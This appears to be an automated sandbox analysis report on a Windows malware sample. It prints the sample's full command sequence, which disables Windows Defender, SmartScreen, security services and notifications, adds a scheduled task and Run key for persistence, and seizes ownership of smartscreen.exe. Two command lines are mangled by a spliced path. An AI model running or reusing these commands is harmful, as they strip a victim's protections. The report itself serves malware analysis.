Resubmissions

23/04/2026, 16:14

260423-tp4bfsaw7s10

23/04/2026, 16:02

260423-tgrbxshs3j10

Analysis

  • max time kernel
    60s
  • max time network
    62s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/04/2026, 16:14

General

  • Target
    _3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
  • Size 141KB
  • Sample260423-tp4bfsaw7s
  • SHA256 3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 6 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Modifies Security services 2 TTPs 5 IoCs

    Modifies the startup behavior of a security service.

  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
    "C:\Users\Admin\AppData\Local\Temp\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3260
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97" /tr "C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2368
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WinTempClean32.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4752
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
        3⤵
        • Modifies Windows Defender TamperProtection settings
        PID:5024
      • C:\Windows\system32\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
          PID:992
        • C:\Windows\system32\reg.exe
          reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
          3⤵
          • Modifies Security services
          PID:4608
        • C:\Windows\system32\reg.exe
          reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
          3⤵
          • Modifies Windows Defender notification settings
          PID:404
        • C:\Windows\system32\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
          3⤵
          • Modifies Windows Defender notification settings
          PID:2492
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
          3⤵
            PID:1520
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
            3⤵
              PID:4308
            • C:\Windows\system32\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
              3⤵
                PID:1028
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender DisableAntiSpyware settings
                PID:3268
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                3⤵
                  PID:4516
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
                  3⤵
                    PID:2892
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
                    3⤵
                      PID:2772
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                      3⤵
                        PID:2400
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                        3⤵
                        • Modifies Windows Defender Real-time Protection settings
                        PID:1796
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                        3⤵
                        • Modifies Windows Defender Real-time Protection settings
                        PID:2172
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                        3⤵
                        • Modifies Windows Defender Real-time Protection settings
                        PID:2600
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                        3⤵
                        • Modifies Windows Defender Real-time Protection settings
                        PID:4572
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
                        3⤵
                        • Modifies Windows Defender Real-time Protection settings
                        PID:4612
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                        3⤵
                        • Modifies Windows Defender Real-time Protection settings
                        PID:1652
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                        3⤵
                          PID:2544
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                          3⤵
                            PID:4632
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                            3⤵
                              PID:1664
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                              3⤵
                                PID:2424
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                3⤵
                                  PID:1580
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                  3⤵
                                    PID:1256
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                    3⤵
                                      PID:816
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                      3⤵
                                        PID:2140
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                        3⤵
                                          PID:3756
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                          3⤵
                                            PID:2148
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                            3⤵
                                              PID:4472
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                              3⤵
                                                PID:4296
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                3⤵
                                                  PID:4268
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                  3⤵
                                                    PID:2724
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                    3⤵
                                                      PID:4652
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                      3⤵
                                                        PID:2788
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                        3⤵
                                                        • Modifies Security services
                                                        PID:1532
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                        3⤵
                                                          PID:1792
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                          3⤵
                                                          • Modifies Security services
                                                          PID:696
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                          3⤵
                                                          • Modifies Security services
                                                          PID:436
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                          3⤵
                                                          • Modifies Security services
                                                          PID:3312
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                          3⤵
                                                          • Modifies security service
                                                          PID:4328
                                                        • C:\Windows\system32\sc.exe
                                                          sc config webthreatdefsvc start= disabled
                                                          3⤵
                                                          • Launches sc.exe
                                                          PID:2660
                                                        • C:\Windows\system32\sc.exe
                                                          sc config webthreatdefusersvc start= disabled
                                                          3⤵
                                                          • Launches sc.exe
                                                          PID:2920
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /tC:\Users\Admin\AppData\Local\Temp REG_SZ /d "Off" /f
                                                          3⤵
                                                            PID:2352
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKCU\Software\Microsoft\Edge\SmartScreenEnabled" /ve /t REG_DWORD /d "0" /f
                                                            3⤵
                                                              PID:1488
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKCU\Software\Microsoft\Edge\SmartScreenPuaEnabled" /ve /t REG_DWORD /d "0" /f
                                                              3⤵
                                                                PID:4204
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t "REG_DWORD" /d "0" /f
                                                                3⤵
                                                                  PID:4216
                                                                • C:\Windows\system32\takeown.exe
                                                                  takeown /s JWUHOPEY /u Admin /f "C:\Windows\System32\smartscreen.exe"
                                                                  3⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4212
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\Windows\System32\smartscreen.exe" /grant:r Admin:F
                                                                  3⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:2728
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\Windows\System32\smartscreen.exe" /grant:r Admin:F
                                                                  3⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:1052
                                                                • C:\Windows\system32\taskkill.exe
                                                                  taskkill /im smartscreen.exC:\Users\Admin\AppData\Local\Tempe /f
                                                                  3⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4396
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f
                                                                  3⤵
                                                                    PID:2276
                                                              • C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
                                                                C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:860
                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
                                                                C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3360
                                                              • C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
                                                                C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4920

                                                              Network

                                                                    MITRE ATT&CK Enterprise v16

                                                                    Replay Monitor

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                                                                    Downloads

                                                                    _3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe.log

                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe.log
                                                                    • Size 654B
                                                                    • SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
                                                                    • MD5 SHA1 SHA512 TLSH

                                                                    WinTempClean32.bat

                                                                    • Path C:\Users\Admin\AppData\Local\Temp\WinTempClean32.bat
                                                                    • Size 44KB
                                                                    • SHA256 fde64e64b9ce9bd846cc078e90380c61ebe195104b252cbc50ac6bb7b6c24ef8
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    _3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe

                                                                    • Path C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
                                                                    • Size 141KB
                                                                    • SHA256 3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    memory/860-15-0x00007FF63CCC0000-0x00007FF63CCE9000-memory.dmp

                                                                    memory/860-16-0x000002967D460000-0x000002967D46C000-memory.dmp

                                                                    memory/3260-18-0x00007FF72F380000-0x00007FF72F3A9000-memory.dmp

                                                                    memory/3260-0-0x000001FD572A0000-0x000001FD572B0000-memory.dmp

                                                                    memory/3260-17-0x000001FD572A0000-0x000001FD572B0000-memory.dmp

                                                                    memory/3260-3-0x000001FD572A0000-0x000001FD572B0000-memory.dmp

                                                                    memory/3260-20-0x000001FD572A0000-0x000001FD572B0000-memory.dmp

                                                                    memory/3260-19-0x000001FD351D0000-0x000001FD351DC000-memory.dmp

                                                                    memory/3260-21-0x000001FD572A0000-0x000001FD572B0000-memory.dmp

                                                                    memory/3260-2-0x000001FD572A0000-0x000001FD572B0000-memory.dmp

                                                                    memory/3260-1-0x000001FD3EAB0000-0x000001FD3EAC4000-memory.dmp

                                                                    memory/3360-13-0x0000024CA98C0000-0x0000024CA98CC000-memory.dmp

                                                                    memory/3360-12-0x00007FF7B2CE0000-0x00007FF7B2D09000-memory.dmp

                                                                    memory/4920-24-0x00007FF63CCC0000-0x00007FF63CCE9000-memory.dmp

                                                                    memory/4920-25-0x00000214AF440000-0x00000214AF44C000-memory.dmp